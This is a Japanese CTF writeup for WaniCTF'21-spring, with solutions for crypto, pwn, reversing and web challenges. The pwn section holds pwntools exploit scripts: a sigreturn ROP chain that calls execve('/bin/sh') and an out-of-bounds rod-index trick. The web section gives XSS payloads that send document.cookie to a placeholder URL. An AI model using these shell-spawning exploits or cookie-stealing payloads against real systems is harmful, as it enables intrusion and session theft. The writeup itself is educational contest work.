4/30-5/2 で開催していた WaniCTF’21-spring に参加しました。5/1-5/2の期間は DEFCON とかぶっていたため4/30のみの参加でした。 最初は Crypto と Web だけ解こうかなと思っていたのですが、問題が親切・面白くて結局全部の問題に取り組みました。2問解けなかったのが悔しい…結果は 9th/353 (得点のあるチームのみカウント) でした。 解いた問題のうち勉強になった問題について writeup をメモします。
Crypto
OUCS
Okamoto-Uchiyama cryptosystem というものがあるらしい。 この問題では任意の数字を暗号化、復号化でき、またフラグの暗号も手に入ります。しかしフラグの復号だけは結果がわかりません。
2種類のメッセージ について暗号化したものを考えると となります。 ここでこれらの積を復号することを考えます。 wikipedia と同様のノーテーションで、 を計算すると (積についての を とおきます)、
が成立します。 や を単体で復号化するときに計算される をそれぞれ とおくと、 となります。これらを使うと上式は
となります。したがって です。 の復号結果 は、
となります。つまり、 が成立します。
この関係性を使うことでこの問題は解くことができます。 としてフラグを、 を適当な定数として1を選択すると、
となります。この式で、左辺はオラクルで暗号化することによって求まり、それらの復号化も可能なため、 flag + 1 が手に入ります。
FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}
Pwn
06 SuperROP
sigreturn というのがあるんですね、知らなかった…
pwntools の docs を参考に execve("/bin/sh", 0, 0)
を sigreturn 後に呼び出すような payload を書きました。お手軽ですね。
刺さる問題は少ない気もする (これができるときは他の方法でも解けそう) けど、覚えておきたい。
from pwn import *
elf = ELF("./pwn-06-srop/pwn06")
context.binary = elf
_r = remote("srop.pwn.wanictf.org", 9006)
_r.recvuntil("buff : ")
buff_addr = int(_r.recvline().strip(), 16)
rop = ROP(elf)
payload = b"/bin/sh\x00"
# execve("/bin/sh", 0, 0) を呼べるように設定
frame = SigreturnFrame()
frame.rax = 0x3B
frame.rdi = buff_addr
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0xDEADBEEF
frame.rip = 0x40117E
payload += (0x40 + 8 - len(payload)) * b"A"
rop.raw(0x40118C) # mov rax, 0xf; ret
rop.raw(0x40117E) # syscall
payload += rop.chain()
payload += bytes(frame)
_r.sendlineafter("Can you get the shell?\n", payload)
_r.interactive()
FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
07 Tower of Hanoi
32枚のハノイの塔を解く問題。
問題文が示すとおり、 2^32 - 1回の移動が必要なのですが、プログラムは alarm(30)
がセットされており、1回の移動のたびに sleep(1)
が呼ばれるため、30回までしか移動できずまともな方法ではクリアできそうにありません。
ソースコードを見ると、 // ???
という意味深なコメントがついている部分が2箇所ありました。
1つ目はここ。
void move_hanoi(char from, char to, int *pivot, int (*rod)[HANOI_SIZE]) {
int src = (int)from - 65;
int dst = (int)to - 65;
if (abs(src) > 2 || abs(dst) > 2) { // ???
printf("That rod isn't where you can access!\n");
return;
}
src
や dst
は A
, B
, C
(int にするとそれぞれ65, 66, 67) が入る想定なのですが、 abs
で取りうる値を制御しているため、 ?
, @
(int にするとそれぞれ63, 64) でも通ってしまいます。
2つ目はここ。
int is_solved(int (*rod)[HANOI_SIZE]) {
if (rod[0][HANOI_SIZE - 1] == 0 && rod[1][HANOI_SIZE - 1] == 0 &&
rod[2][HANOI_SIZE - 1] == HANOI_SIZE)
return 1;
else
return 0;
}
(snip)
solved_flag = is_solved(rod); // ???
終了判定が雑ですね。 rod
の最下部がそれぞれ 0, 0, 32 になっていることだけを見ています。
直接 rod[0][31] から rod[2][31] に移動させることがもしできれば、この終了判定を1発で達成できそうです。
ここで1つ目のアクセス違反の脆弱性を考えます。 from = @
のとき、 rod[-1][pivot[-1]]
から移動させることとなります。
rod[-1]
は rod
からみて 4*32=128bytes 前のアドレスを参照しています。また pivot[-1]
は pivot
からみて4bytes 前のアドレスを参照しています。
ここで、 pivot
の4bytes 前のアドレスは、実は name[12: 16]
の部分を指しています。すなわち、 name[12: 16]
の部分に x
の値を代入しておくと、 rod[-1][pivot[-1]]
は rod_addr - 128 + 4 * x
のアドレスを参照することになります。
今やりたいことは rod[0][31]
にアクセスすることなので、 x = 63
とすればよいことがわかります。
from pwn import *
_r = remote("hanoi.pwn.wanictf.org", 9007)
_r.sendafter("Name : ", b"\x00\x00\x00\x00" * 3 + b"\x3f\x00\x00\x00")
_r.sendafter("Move > ", "@C")
_r.sendafter("Move > ", "AB") # なんでもいい
print(_r.recvall())
FLAG{5up3r_f457_h4n01_501v3r}
Reversing
licence
問題文が示す通り、 angr を使う問題です。
まず静的解析をすると、ファイルの先頭は -----BEGIN LICENCE KEY-----\n
となっている必要があることがわかるため、追記します。
それ以降の箇所が解析困難な部分なため、そこに angr を使います。存在は知っていましたが使ったことはなかったため、ググりながら以下のコードを書いて解きました。
(自分の host 環境では angr.Project(...)
の部分で落ちてしまった (ググった感じ、 manjaro OS 特有の問題っぽかった) ため、 docker 上で動かしました)
これ、ファイルのパスを指定するタイプのプログラムなのに、ファイルの中身のあるべき姿を自動で探索対象にしてくれるんですね、賢すぎる…
import angr
offset = 0x400000
p = angr.Project("./licence")
state = p.factory.entry_state(args=["./licence", "./key.dat"])
sim = p.factory.simulation_manager(state)
sim.explore(find=(offset + 0x5DFE,), avoid=(offset + 0x5DE1,))
if len(sim.found) > 0:
print(sim.found[0].posix.dump_file_by_path("./key.dat"))
FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}
どうでもいい話ですが…ライセンスのスペルは license では?と思ってググってみるとイギリス/アメリカ英語で licence/license と違うみたいですね (https://whitebear0930.net/archives/15248)。
Web
Wani Request 2
XSS の問題。
page1 では wani=<img src=x onerror=alert(1)>
のクエリを投げることでページに img が埋め込まれ、 onerror によって javascript が発火しました。cookie を入手するために以下を送信します。
https://request2.web.wanictf.org/page1?wani=%3Cimg%20src%3Dx%20onerror%3Ddocument.location=`MY_URL?c=${document.cookie}`%3E
page2 では <a href="javascript:alert(1)">
となるようにすることで、ページにアクセスすると javascript が発火しました。 cookie を入手するために以下を送信します。
javascript:location.href=`MY_URL?c=${document.cookie}`
FLAG{y0u_4r3_x55-60d_c75a4c80cf07}